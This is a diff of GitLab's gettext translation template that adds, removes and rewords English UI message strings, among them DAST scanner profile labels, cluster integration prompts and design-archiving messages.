msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
